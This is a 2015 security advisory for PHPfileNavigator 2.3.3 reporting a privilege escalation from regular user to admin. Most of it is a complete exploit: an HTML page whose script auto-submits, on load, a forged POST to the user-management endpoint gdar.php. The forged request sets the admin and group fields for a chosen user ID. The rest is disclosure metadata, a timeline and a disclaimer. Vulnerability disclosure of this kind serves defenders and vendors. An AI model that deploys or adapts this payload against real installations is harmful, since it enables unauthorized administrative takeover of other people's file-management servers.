PHPfileNavigator 2.3.3 Privilege Escalation
Posted on 13 August 2015
[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812b.txt Vendor: ========================= pfn.sourceforge.net Product: ===================================================== PHPfileNavigator v2.3.3 (pfn) Is state-of-the-art, open source web based application to complete manage your files and folders. Vulnerability Type: ============================= Privilege Escalation CVE Reference: ============== N/A Vulnerability Details: ===================== We can elevate privileges from that of a regular user to an Admin level. In order for the attack to succeed and escalate privileges to become Admin you need know your ID for the 'id_usuario' field when executing the attack. Tested using xampp-1.7.0 Exploit code(s): =============== <!DOCTYPE> <html> <script> function pwn(){ var e=document.getElementById('ELEVATO_DE_PRIVLOS') e.submit() } </script> <body onLoad="pwn()"> <!-- Escalate privs to that of Admin --> <form id="ELEVATO_DE_PRIVLOS" action=" http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php" method="post"> <input type="hidden" name="id_usuario" value="5" /> <input type="text" id="nome" name="nome" value="b2" class="text" tabindex="10" /> <input type="text" id="usuario" name="usuario" value="b2" class="text" tabindex="20" /> <input type="password" id="contrasinal" name="contrasinal" value="abc123" class="text" tabindex="30" /> <input type="password" id="rep_contrasinal" name="rep_contrasinal" value="abc123" class="text" tabindex="40" /> <input type="text" id="email" name="email" value="b@b.com" class="text" tabindex="50" /> <input type="text" id="max_descargas" name="max_descargas" value="0" class="text" tabindex="60" /> <input type="text" id="actual_descargas" name="actual_descargas" value="0" class="text" tabindex="70" /> <select id="cambiar_datos" name="cambiar_datos" tabindex="75"> <option value="1" >ON</option> <option value="0" selected="selected">OFF</option> </select> <select id="id_grupo" name="id_grupo" tabindex="80"> <option value="1" selected="selected">Administrators</option> </select> <select id="admin" name="admin" tabindex="90"> <option value="1" selected="selected">ON</option> <option value="0">OFF</option> </select> <select id="estado" name="estado" tabindex="100"> <option value="1" selected="selected">ON</option> <option value="0" >OFF</option> </select> <input type="checkbox" id="Fraices_1" name="Fraices[]" value="1" class="checkbox" /> </form> </body> </html> Disclosure Timeline: ========================================================= Vendor Notification: August 8, 2015 August 12, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] POST Vulnerable Product: [+] PHPfileNavigator v2.3.3 (pfn) Vulnerable Parameter(s): [+] id_grupo, admin, id_usuario Affected Area(s): [+] Admin =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
